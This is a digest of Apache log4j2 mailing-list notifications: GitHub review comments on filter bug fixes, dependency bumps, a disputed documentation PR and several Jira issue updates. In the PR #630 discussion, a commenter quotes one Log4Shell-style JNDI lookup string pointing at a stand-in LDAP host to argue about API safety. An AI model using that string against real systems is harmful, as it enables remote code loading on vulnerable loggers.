[GitHub] [logging-log4j2] ppkarwasz commented on a change in pull request #753: Issues with multiple Log4j 1.x filters
ppkarwasz commented on a change in pull request #753:
URL: https://github.com/apache/logging-log4j2/pull/753#discussion_r806304150
##
File path:
log4j-1.2-api/src/main/java/org/apache/log4j/bridge/FilterAdapter.java
##
@@ -37,14 +81,14 @@ public Result filter(LogEvent event) {
LoggingEvent loggingEvent = new LogEventAdapter(event);
Filter next = filter;
while (next != null) {
-switch (filter.decide(loggingEvent)) {
+switch (next.decide(loggingEvent)) {
Review comment:
Removes an infinite loop.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscr...@logging.apache.org
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
[GitHub] [logging-log4j2] dependabot[bot] opened a new pull request #754: Bump maven-bundle-plugin from 3.5.0 to 5.1.4
dependabot[bot] opened a new pull request #754: URL: https://github.com/apache/logging-log4j2/pull/754 Bumps maven-bundle-plugin from 3.5.0 to 5.1.4. [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- Dependabot commands and options You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: notifications-unsubscr...@logging.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…
garydgregory commented on pull request #630: URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-1039676373 I agree with all of @rgoers 's points. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: notifications-unsubscr...@logging.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
[GitHub] [logging-log4j2] ppkarwasz commented on a change in pull request #753: Issues with multiple Log4j 1.x filters
ppkarwasz commented on a change in pull request #753:
URL: https://github.com/apache/logging-log4j2/pull/753#discussion_r806306691
##
File path:
log4j-core/src/main/java/org/apache/logging/log4j/core/filter/CompositeFilter.java
##
@@ -62,9 +62,9 @@ public CompositeFilter addFilter(final Filter filter) {
if (filter instanceof CompositeFilter) {
final int size = this.filters.length + ((CompositeFilter)
filter).size();
final Filter[] copy = Arrays.copyOf(this.filters, size);
-final int index = this.filters.length;
+int index = this.filters.length;
for (final Filter currentFilter : ((CompositeFilter)
filter).filters) {
-copy[index] = currentFilter;
+copy[index++] = currentFilter;
Review comment:
Small bug fix in `log4j-core`. Probably does not merit its own PR.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscr...@logging.apache.org
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
[GitHub] [logging-log4j2] ppkarwasz commented on a change in pull request #753: Issues with multiple Log4j 1.x filters
ppkarwasz commented on a change in pull request #753:
URL: https://github.com/apache/logging-log4j2/pull/753#discussion_r806304150
##
File path:
log4j-1.2-api/src/main/java/org/apache/log4j/bridge/FilterAdapter.java
##
@@ -37,14 +81,14 @@ public Result filter(LogEvent event) {
LoggingEvent loggingEvent = new LogEventAdapter(event);
Filter next = filter;
while (next != null) {
-switch (filter.decide(loggingEvent)) {
+switch (next.decide(loggingEvent)) {
Review comment:
Infinite loop.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscr...@logging.apache.org
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
[GitHub] [logging-log4j2] ppkarwasz opened a new pull request #753: Issues with multiple Log4j 1.x filters
ppkarwasz opened a new pull request #753: URL: https://github.com/apache/logging-log4j2/pull/753 This PR fixes a couple of issues concerning filters in the Log4j 1.x bridge: - there is an endless loop in `FilterAdapter#filter` that hangs the program if more than one filter per appender is configured, - filters are executed multiple times per log message. The second problem comes from chains of Log4j 1.x filters: a filter chain is split into a `CompositeFilter` of `FilterAdapter`s (one for each filter). Each `FilterAdapter` executes its own filter and all those that come later in the chain. In order to preserve the behavior of `FilterAdapter` the following restrictions have been applied to the generated filters: 1. no chains of Log4j 1.x filters are generated by the configuration factories; a list of Log4j 1.x filters is represented as a wrapped `CompositeFilter` of `FilterAdapter`s (or native Log4j 2.x filters), 2. the factories don't generate any `FilterWrapper`s of `FilterAdapter`s nor `FilterAdapter`s of `FilterWrapper`s. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: notifications-unsubscr...@logging.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
[GitHub] [logging-log4j2] rgoers commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…
rgoers commented on pull request #630: URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-1039639817 1. This is a pull request not an issue. If you wanted an issue you would need to use Jira. 2. This is not even close to being a vulnerability. In no world has a vulnerability ever been classified as one from documentation alone. 3. I agree there are inconsistencies in the the use of "message" vs Message and I would be willing to accept a PR that just addresses that. 4. The sentence added in caps is alarmist. We fully document that Log4j uses Message objects and that strings and objects passed in will be converted to the appropriate ones. There is no need for shouting here as that is fully expected behavior for anyone who has read the documention. 5. Under no circumstances would we ever rename Message to something else. That would break binary compatibility in the most horrible way. In short, this PR is rightfully closed as we cannot accept it as is and it is quite clear you have no desire to treat this as the minor javadoc fix it is. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: notifications-unsubscr...@logging.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
[GitHub] [logging-log4j2] fulldecent commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…
fulldecent commented on pull request #630: URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-1039618532 @vy The mailing list post you cite argues that "API isn't intended to be interpreted..." Therefore, Log4j2 is still underspecified. That is the subject of this issue, please reopen the issue so this discussion can continue in the open rather than as a buried closed issue. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: notifications-unsubscr...@logging.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
[jira] [Commented] (LOG4J2-3393) JSON template layout performance regression
[
https://issues.apache.org/jira/browse/LOG4J2-3393?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17492239#comment-17492239
]
ASF subversion and git services commented on LOG4J2-3393:
-
Commit d81f97e80ecd2aafac231dcc8adabea2710180df in logging-log4j2's branch
refs/heads/LOG4J2-3393 from Volkan Yazici
[ https://gitbox.apache.org/repos/asf?p=logging-log4j2.git;h=d81f97e ]
LOG4J2-3393 Improve "blackhole" behavior in ByteBuffer consumption.
> JSON template layout performance regression
> ---
>
> Key: LOG4J2-3393
> URL: https://issues.apache.org/jira/browse/LOG4J2-3393
> Project: Log4j 2
> Issue Type: Improvement
> Components: JsonTemplateLayout
>Affects Versions: 2.17.1
>Reporter: Volkan Yazici
>Assignee: Volkan Yazici
>Priority: Major
>
> JTL performance is used to be on par with \{{log4j2-ecs-layout}}, though this
> is not the case anymore, there is a slight degradation. This story aims to
> investigate what is going on and fix it.
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[GitHub] [logging-log4j2] mikkorantalainen commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…
mikkorantalainen commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-1039259530
> I am also inclined to avoid convoluting the API with implementation
details. Messages are safe, it is how the implementation deals with them which
makes them unsafe.
So, are you arguing that all features that interpret the message string and
modify it or create alternative message before logging should be removed?
Message can be safe if and only if it's always handled as data only.
Otherwise it's some kind of command and it should not include unfiltered data
as a whole or in part from any untrusted source (e.g. user input).
An API should define if the message is trusted or untrusted. This is no
different from `printf()` first parameter being trusted string and it must not
contain untrusted string as a whole or in part. In case of `printf()` the only
safe way to print untrusted string is `printf("%s",
untrusted_string_from_user)`. Specifically,
`printf(untrusted_string_from_user)` is always unsafe code. The Log4j2 API
fails to define clear rules for the expected API implementations, specifically
it should define if executing following code is safe or not:
debug("${progname} foo ${jndi:ldap://example.com/a} bar");
If the API spec is not broken, you should be able to tell if this usage is
safe code or not. The correct answer cannot be "it depends on the
implementation" because the user of the API (the above line of code) should be
promised something or the API is not worth using.
If the API definition says that the argument is message data only, the above
code is okay and the implementation that decided to connect to remote host was
buggy (not just incorrectly configured, it cannot fulfill this API by
definition). This API cannot opt for "implementation defined" here because
there's no safe way to emit any untrusted data to such an API and probably no
safe way to use it with any data at all, because the implementation might
trigger nuclear attack on any input and still be fully compatible with such an
"implementation defined" API spec.
And the API spec should say this explicitly or future programmers will make
all the same mistakes.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscr...@logging.apache.org
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
[jira] [Comment Edited] (LOG4J2-3402) Log4j Kotlin API 1.2.0 not released yet, but project version already at 1.3.0-SNAPSHOT
[
https://issues.apache.org/jira/browse/LOG4J2-3402?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17491890#comment-17491890
]
Nils Breunese edited comment on LOG4J2-3402 at 2/14/22, 12:40 PM:
--
Yes, the version technically can just be any garbage string, but a Maven
version string like {{1.3.0-SNAPSHOT}} does imply that 1.2.0 is out and
development for 1.3.0 is happening on this branch. To avoid the confusion I
would suggest to either work with that convention, or sidestep the issue and
set it to a version string which doesn't imply anything like that, e.g.
{{development-SNAPSHOT}}.
was (Author: breun):
Yes, the version technically can just be any garbage string, but a Maven
version string like {{1.3.0-SNAPSHOT}} does imply that 1.2.0 is out and
development for 1.3.0 is happening on this branch. To avoid the confusion I
would suggest to either work with that convention, or sidestep the issue and
set it to a version string which doesn't imply anything like that, e.g.
{{development}}.
> Log4j Kotlin API 1.2.0 not released yet, but project version already at
> 1.3.0-SNAPSHOT
> --
>
> Key: LOG4J2-3402
> URL: https://issues.apache.org/jira/browse/LOG4J2-3402
> Project: Log4j 2
> Issue Type: Story
> Components: Kotlin API
>Reporter: Nils Breunese
>Priority: Major
> Fix For: Kotlin 1.2.0
>
>
> The Log4j Kotlin API [download
> page|https://logging.apache.org/log4j/kotlin/download.html] and [dependency
> management
> page|https://logging.apache.org/log4j/kotlin/dependency-management.html]
> mention version 1.2.0, but it seems this version was never actually released.
> The links on the download page don't work and 1.2.0 is also not available
> from [Maven Central|https://search.maven.org/search?q=log4j-api-kotlin].
> The version on {{master}} however has already been updated to
> {{1.3.0-SNAPSHOT}}. If 1.2.0 still needs to be released, I would expect this
> to be {{1.2.0-SNAPSHOT}}.
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Commented] (LOG4J2-3328) Log4j 1.2 bridge does not support system properties in log4j.xml
[
https://issues.apache.org/jira/browse/LOG4J2-3328?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17491961#comment-17491961
]
Gary D. Gregory commented on LOG4J2-3328:
-
Hi [~john215], my guess is within one month.
> Log4j 1.2 bridge does not support system properties in log4j.xml
>
>
> Key: LOG4J2-3328
> URL: https://issues.apache.org/jira/browse/LOG4J2-3328
> Project: Log4j 2
> Issue Type: Bug
> Components: Log4j 1.2 bridge
>Affects Versions: 2.17.1
> Environment: {{Windows 10}}
> {{Amazon Linux}}
>Reporter: Paul Cooper
>Assignee: Gary D. Gregory
>Priority: Blocker
> Fix For: 2.17.2
>
>
> I am attempting to use the log4j bridge with log4j2, and cannot use system
> properties to set a location for my log files.
> Reported here:
> [stackoverflow|https://stackoverflow.com/questions/70628593/system-property-not-being-read-by-log4j2-lo4j1-bridge]
> My log4j.xml file:
> {{log4j-dev.xml}}
> {{...}}
> {{}}
> {{}}
> {{}}
> {{}}
> {{}}
> {{}}
> {{}}
> {{...}}
> The setenv.bat entry where I define which log4j.xml to use:
> {{-Dlog4j2.debug=true -Dlog4j.configuration=log4j-dev.xml}}
> The properties shown in the tomcat log illustrating that the system property
> in question is being supplied to the log4j1 bridge
> {{...}}
> {{Command line argument: -Dlog4j2.debug=true}}
> {{Command line argument: -Dlog4j.logDir=C:\dev\apache-tomcat-8.5.50\logs}}
> {{Command line argument: -Dlog4j.configuration=log4j-dev.xml}}
> {{Command line argument: -Dcatalina.base=C:\dev\apache-tomcat-8.5.50}}
> {{Command line argument: -Dcatalina.home=C:\dev\apache-tomcat-8.5.50}}
> {{Command line argument: -Djava.io.tmpdir=C:\dev\apache-tomcat-8.5.50\temp}}
> {{...}}
> And the part of the log that shows where the log file is successfully created
> and what path it is using:
> {{...}}
> {{DEBUG StatusLogger Class name: [org.apache.log4j.RollingFileAppender]}}
> {{DEBUG StatusLogger Parsing layout of class:
> "org.apache.log4j.PatternLayout"}}
> {{DEBUG StatusLogger PluginManager 'Converter' found 47 plugins}}
> {{TRACE StatusLogger New file '${catalina.base}/etl.log' created = true}}
> {{DEBUG StatusLogger Returning file creation time for
> C:\dev\apache-tomcat-8.5.50\bin\${catalina.base}\etl.log}}
> {{DEBUG StatusLogger Starting RollingFileManager ${catalina.base}/etl.log}}
> {{...}}
> The log file is being created in a folder named "${catalina.base}", in
> whatever directory I'm in when I start tomcat. The issue is similar to this
> Jira issue, LOG4J2-2951, and that issue was just resolved in early December.
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Comment Edited] (LOG4J2-3402) Log4j Kotlin API 1.2.0 not released yet, but project version already at 1.3.0-SNAPSHOT
[
https://issues.apache.org/jira/browse/LOG4J2-3402?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17491890#comment-17491890
]
Nils Breunese edited comment on LOG4J2-3402 at 2/14/22, 9:34 AM:
-
Yes, the version technically can just be any garbage string, but a Maven
version string like {{1.3.0-SNAPSHOT}} does imply that 1.2.0 is out and
development for 1.3.0 is happening on this branch. To avoid the confusion I
would suggest to either work with that convention, or sidestep the issue and
set it to a version string which doesn't imply anything like that, e.g.
{{development}}.
was (Author: breun):
Yes, the version technically can just be any garbage string, but a Maven
version string like {{1.3.0-SNAPSHOT}} does imply that 1.2.0 is out and
development for 1.3.0 is happening on this branch. To avoid the confusion I
would suggest to either work with that convention, or sidestep the issue and
set it to a version string which doesn't imply anything, e.g. {{development}}.
> Log4j Kotlin API 1.2.0 not released yet, but project version already at
> 1.3.0-SNAPSHOT
> --
>
> Key: LOG4J2-3402
> URL: https://issues.apache.org/jira/browse/LOG4J2-3402
> Project: Log4j 2
> Issue Type: Story
> Components: Kotlin API
>Reporter: Nils Breunese
>Priority: Major
> Fix For: Kotlin 1.2.0
>
>
> The Log4j Kotlin API [download
> page|https://logging.apache.org/log4j/kotlin/download.html] and [dependency
> management
> page|https://logging.apache.org/log4j/kotlin/dependency-management.html]
> mention version 1.2.0, but it seems this version was never actually released.
> The links on the download page don't work and 1.2.0 is also not available
> from [Maven Central|https://search.maven.org/search?q=log4j-api-kotlin].
> The version on {{master}} however has already been updated to
> {{1.3.0-SNAPSHOT}}. If 1.2.0 still needs to be released, I would expect this
> to be {{1.2.0-SNAPSHOT}}.
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Commented] (LOG4J2-3402) Log4j Kotlin API 1.2.0 not released yet, but project version already at 1.3.0-SNAPSHOT
[
https://issues.apache.org/jira/browse/LOG4J2-3402?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17491890#comment-17491890
]
Nils Breunese commented on LOG4J2-3402:
---
Yes, the version technically can just be any garbage string, but a Maven
version string like {{1.3.0-SNAPSHOT}} does imply that 1.2.0 is out and
development for 1.3.0 is happening on this branch. To avoid the confusion I
would suggest to either work with that convention, or sidestep the issue and
set it to a version string which doesn't imply anything, e.g. {{development}}.
> Log4j Kotlin API 1.2.0 not released yet, but project version already at
> 1.3.0-SNAPSHOT
> --
>
> Key: LOG4J2-3402
> URL: https://issues.apache.org/jira/browse/LOG4J2-3402
> Project: Log4j 2
> Issue Type: Story
> Components: Kotlin API
>Reporter: Nils Breunese
>Priority: Major
> Fix For: Kotlin 1.2.0
>
>
> The Log4j Kotlin API [download
> page|https://logging.apache.org/log4j/kotlin/download.html] and [dependency
> management
> page|https://logging.apache.org/log4j/kotlin/dependency-management.html]
> mention version 1.2.0, but it seems this version was never actually released.
> The links on the download page don't work and 1.2.0 is also not available
> from [Maven Central|https://search.maven.org/search?q=log4j-api-kotlin].
> The version on {{master}} however has already been updated to
> {{1.3.0-SNAPSHOT}}. If 1.2.0 still needs to be released, I would expect this
> to be {{1.2.0-SNAPSHOT}}.
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[GitHub] [logging-log4j2] vy merged pull request #752: Bump maven-jxr-plugin from 2.5 to 3.1.1
vy merged pull request #752: URL: https://github.com/apache/logging-log4j2/pull/752 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: notifications-unsubscr...@logging.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
[jira] [Commented] (LOG4J2-3328) Log4j 1.2 bridge does not support system properties in log4j.xml
[
https://issues.apache.org/jira/browse/LOG4J2-3328?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17491848#comment-17491848
]
John Simiyon commented on LOG4J2-3328:
--
Hi [~ggregory] , Any update on 2.17.2 release ?
> Log4j 1.2 bridge does not support system properties in log4j.xml
>
>
> Key: LOG4J2-3328
> URL: https://issues.apache.org/jira/browse/LOG4J2-3328
> Project: Log4j 2
> Issue Type: Bug
> Components: Log4j 1.2 bridge
>Affects Versions: 2.17.1
> Environment: {{Windows 10}}
> {{Amazon Linux}}
>Reporter: Paul Cooper
>Assignee: Gary D. Gregory
>Priority: Blocker
> Fix For: 2.17.2
>
>
> I am attempting to use the log4j bridge with log4j2, and cannot use system
> properties to set a location for my log files.
> Reported here:
> [stackoverflow|https://stackoverflow.com/questions/70628593/system-property-not-being-read-by-log4j2-lo4j1-bridge]
> My log4j.xml file:
> {{log4j-dev.xml}}
> {{...}}
> {{}}
> {{}}
> {{}}
> {{}}
> {{}}
> {{}}
> {{}}
> {{...}}
> The setenv.bat entry where I define which log4j.xml to use:
> {{-Dlog4j2.debug=true -Dlog4j.configuration=log4j-dev.xml}}
> The properties shown in the tomcat log illustrating that the system property
> in question is being supplied to the log4j1 bridge
> {{...}}
> {{Command line argument: -Dlog4j2.debug=true}}
> {{Command line argument: -Dlog4j.logDir=C:\dev\apache-tomcat-8.5.50\logs}}
> {{Command line argument: -Dlog4j.configuration=log4j-dev.xml}}
> {{Command line argument: -Dcatalina.base=C:\dev\apache-tomcat-8.5.50}}
> {{Command line argument: -Dcatalina.home=C:\dev\apache-tomcat-8.5.50}}
> {{Command line argument: -Djava.io.tmpdir=C:\dev\apache-tomcat-8.5.50\temp}}
> {{...}}
> And the part of the log that shows where the log file is successfully created
> and what path it is using:
> {{...}}
> {{DEBUG StatusLogger Class name: [org.apache.log4j.RollingFileAppender]}}
> {{DEBUG StatusLogger Parsing layout of class:
> "org.apache.log4j.PatternLayout"}}
> {{DEBUG StatusLogger PluginManager 'Converter' found 47 plugins}}
> {{TRACE StatusLogger New file '${catalina.base}/etl.log' created = true}}
> {{DEBUG StatusLogger Returning file creation time for
> C:\dev\apache-tomcat-8.5.50\bin\${catalina.base}\etl.log}}
> {{DEBUG StatusLogger Starting RollingFileManager ${catalina.base}/etl.log}}
> {{...}}
> The log file is being created in a folder named "${catalina.base}", in
> whatever directory I'm in when I start tomcat. The issue is similar to this
> Jira issue, LOG4J2-2951, and that issue was just resolved in early December.
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
